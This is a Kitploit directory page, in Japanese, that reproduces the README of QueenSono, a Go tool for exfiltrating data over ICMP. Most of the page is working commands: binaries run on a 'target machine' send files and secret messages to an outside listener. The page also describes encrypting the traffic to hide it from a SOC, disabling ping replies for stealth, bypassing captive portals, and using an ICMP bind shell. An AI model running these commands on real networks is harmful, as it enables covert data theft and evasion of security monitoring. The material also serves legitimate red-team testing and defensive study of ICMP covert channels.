Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
QueenSono — ICMPプロトコルを使用したデータ流出のためのGolangバイナリ(+ ICMP bindshell、ICMP上のhttpトンネリング、...) | Kitploit
ツール/GitHubGitHub/ariary/queensono
データ流出ネットワークセキュリティペネトレーションテストコマンド&コントロールレッドチーミング
GitHubariary/queensono

QueenSono

ICMPプロトコルを使用したデータ流出のためのGolangバイナリ(+ ICMP bindshell、ICMP上のhttpトンネリング、...)

リポジトリを見る
168273ヶ月前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

QueenSono ICMP データ流出



ICMP プロトコル(IPv4 および IPv6)を使用したデータ流出のための Golang パッケージ。

QueenSono ツールは、ICMP プロトコルが監視されていないという事実のみに依存しています。これはかなり一般的です。また、基本的な ICMP 検査(例:頻度とコンテンツ長監視)が行われるシステム内で、または公共 Wi-Fi(空港 Wi-Fi など)で認証後にユーザーを認証するために使用されるキャプティブポータルでの認証手順をバイパスするために使用されることもあります。PyExfil(およびその他)を模倣しようとし、対象のマシンに Python がインストールされている必要がないという考えに基づいています(そのため、バイナリを提供することが有用である可能性があります)。

インストール · 使用方法 · 注意事項 · 機能リクエスト · 🎁

インストール

curl を使用

> リリースから

root@kitploit:~
curl -lO -L https://github.com/ariary/QueenSono/releases/latest/download/qsreceiver
curl -lO -L https://github.com/ariary/QueenSono/releases/latest/download/qssender

go を使用

> go install 経由

事前に $GOPATH が $PATH に含まれていることを確認してください。

qssender のインストール

root@kitploit:~
go install github.com/ariary/QueenSono/cmd/client@latest
mv $GOPATH/bin/client $GOPATH/bin/qssender #バイナリ名を変更

qsreceiver のインストール

root@kitploit:~
go install github.com/ariary/QueenSono/cmd/server@latest
mv $GOPATH/bin/server $GOPATH/bin/qsreceiver #バイナリ名を変更

> ソースからバイナリをインストール

リポジトリをクローンし、依存関係をローカルにダウンロードします:

root@kitploit:~
git clone https://github.com/ariary/QueenSono.git
cd QueenSono
make before.build

ICMP パケット送信側 qssender をビルドするには:

root@kitploit:~
make build.queensono-sender

ICMP パケット受信側 qsreceiver をビルドするには:

root@kitploit:~
make build.queensono-receiver

使用方法

qssender はリスナーに ICMP パケットを送信するバイナリです。そのため、対象マシンに転送するバイナリです。

qsreceiver はローカルマシン(または ICMP パケットを受信できる任意の場所)上のリスナーです。

すべてのコマンドとフラグは --help を使用して確認できます。

例 1: "ACK" を使用した送信 🔙

> この例では、大きなファイルを送信し、パケットの受信を確認するためにエコー応答を待ちます(ACK)。

デモ

ローカルマシン上:

root@kitploit:~
$ qsreceiver receive -l 0.0.0.0 -p -f received_bible.txt
説明
  • -l 0.0.0.0:すべてのインターフェースで ICMP パケットをリッスン
  • -f received_bible.txt:受信したデータをファイルに保存
  • -p:受信データの進行状況バーを表示
  • 対象マシン上:

    root@kitploit:~
    $ wget https://raw.githubusercontent.com/mxw/grmr/master/src/finaltests/bible.txt #例のため大きなファイルをダウンロード
    $ qssender send file -d 2 -l 0.0.0.0 -r 10.0.0.92 -s 50000 bible.txt
    
    説明
  • send file:ファイル送信用(bible.txt が該当ファイル)
  • -d 2:2 秒ごとにパケットを送信
  • -l 0.0.0.0:エコー応答のリッスンアドレス
  • -r 10.0.0.92: qsreceiver がリッスンしているリモートマシンのアドレス
  • -s 50000:各パケットで送信するデータサイズ
  • 例 2: "ACK" なしでの送信 🙈

    > この例では、エコー応答を待たずにメッセージを送信します(対象のファイアウォールが着信 ICMP パケットをフィルタリングしている場合などに有用)。

    デモ

    ローカルマシン上:

    root@kitploit:~
    $ qsreceiver receive truncated 1 -l 0.0.0.0
    
    説明
  • receive truncated 1:すべてのパケットを受信しなくても無期限に待機しません。(1 は qssender で使用される遅延)

  • ステルス性を高めるために、カーネルが ICMP ping に応答しないようにすることができます。
    root@kitploit:~
    echo 1 | dd of=/proc/sys/net/ipv4/icmp_echo_ignore_all

    対象マシン上:

    root@kitploit:~
    $ qssender send "thisisatest i want to send a string w/o waiting for the echo reply" -d 1 -l 0.0.0.0 -r 10.0.0.190 -s 1 -N
    
    説明
  • -N:noreply オプション(エコー応答を待たない)
  • 例 3: 暗号化データの送信 🔒

    > この例では、暗号化されたメッセージを送信します。コマンドラインが覗かれる可能性があるため、非対称暗号化を使用します(鍵が漏れても問題にならないように)。

    デモ

    ローカルマシン上:

    root@kitploit:~
    $ qsreceiver receive -l 0.0.0.0 --encrypt 
    <公開鍵の出力>
    
    説明
  • --encrypt:暗号化交換を使用します。公開鍵と秘密鍵が生成されます。公開鍵は qssender がデータを暗号化するために使用され、秘密鍵は receiver で復号化するために使用されます。
  • 対象マシン上:

    root@kitploit:~
    $ export MSG="<メッセージ>"
    $ export KEY="<qsreceiver の出力からの公開鍵>"
    $ qssender send $MSG -d 1 -l 0.0.0.0 -r 10.0.0.190 -s 5 --key $KEY
    
    説明
  • --key:データ暗号化のための鍵を提供します。qsreceiver コマンドによって提供されたものを使用してください。
  • 暗号化について

    RSA 暗号化を使用して、交換されるデータの機密性を維持します。これは、例えば、SoC が基本的な分析で交換されるデータを確認するのを防いだり、単にプライバシーのために役立ちます。

    ただし、コストがかかります。非対称暗号化を選択した理由は、暗号化キーがコマンドラインで入力されるため(簡単に取得される可能性がある)です。そのため、公開鍵でデータを暗号化します。これにより、誰かが暗号化キーを取得してもメッセージを復号化できなくなります。しかし、公開鍵は秘密鍵よりも小さいため、より小さなメッセージしか暗号化できません。また、計算コストが高くなります。

    もう一つのポイントとして、データサイズ/ ping リクエストを制限したい(検出やバグを避けるため)ので、必要な場合にのみ暗号化を使用してください。メッセージの出力サイズは常にモジュラス(鍵の一部)のサイズと等しくなるため、これは大きいです。

    改善点

    現在、メッセージ全体が暗号化されてからチャンクに分割されて送信されます。受信側では、すべてのパケット(チャンク)を待ち、メッセージを再構築してから復号化します。 しかし、これはすべてのチャンクを受信した場合にのみ機能します。そうでない場合、復号化は失敗します。

    => -s パラメータに応じて各チャンクを個別に暗号化することで、個別に復号化できるようにすることができます。

    例 4: エコー応答経由でのデータ受信 ↩️

    > この例では、ローカルマシンが ICMP エコー応答を介して対象にデータを送り返します。対象からのアウトバウンド ICMP がフィルタリングされているが、対象がエコー応答を受信できる場合に便利です。

    ローカルマシン上:

    root@kitploit:~
    $ qsreceiver reply-send "流出させる秘密データ" -l 0.0.0.0 -d 1
    
    説明
  • reply-send:qssender からのトリガーを待ち、その後 ICMP エコー応答としてデータを送り返します。
  • -l 0.0.0.0:トリガーパケット用にすべてのインターフェースでリッスン
  • -d 1:各応答パケット間の 1 秒の遅延
  • 対象マシン上:

    root@kitploit:~
    $ qssender receive -l 0.0.0.0 -r 10.0.0.92
    
    説明
  • receive:qsreceiver にトリガーを送信し、着信エコー応答からデータを収集します。
  • -l 0.0.0.0:着信エコー応答のリッスンアドレス
  • -r 10.0.0.92:qsreceiver reply-send が待機しているローカルマシンのアドレス
  • IPv6 サポート

    QueenSono は ICMPv6 を透過的にサポートしています。IPv6 アドレスを渡すと、プロトコルが自動検出されます — 追加のフラグは不要です。

    ローカルマシン上:

    root@kitploit:~
    $ qsreceiver receive -l ::
    

    対象マシン上:

    root@kitploit:~
    $ qssender send "hello from ipv6" -d 2 -l :: -r fe80::1 -s 50000
    
    説明
  • -l :::すべての IPv6 インターフェースでリッスン
  • -r fe80::1:リモートマシンの IPv6 アドレス — 自動的に ICMPv6 をトリガー
  • すべてのモード(ACK あり送信、ACK なし送信、暗号化、エコー応答)は、IPv6 でも同様に動作します。

    おまけ

    QueenSono を使った楽しいことについては、hack セクションを参照してください:

    • ICMP を使用したバインドシェル
    • ICMP 上の HTTP トンネリング

    注意事項

    • Linux でのみ動作します(golang net icmp パッケージを使用するため)
    • cap_net_raw ケーパビリティが必要です
    • IPv4(ICMP)と IPv6(ICMPv6)の両方をサポート — アドレスから自動検出
    • 実際に異なる 2 台のマシンで ICMP パケットを送信し、エコー応答を待つ場合、リモートから到達可能な IP をリッスンアドレスとして使用してください(localhost などは使用しないでください)。
    ツールをダウンロード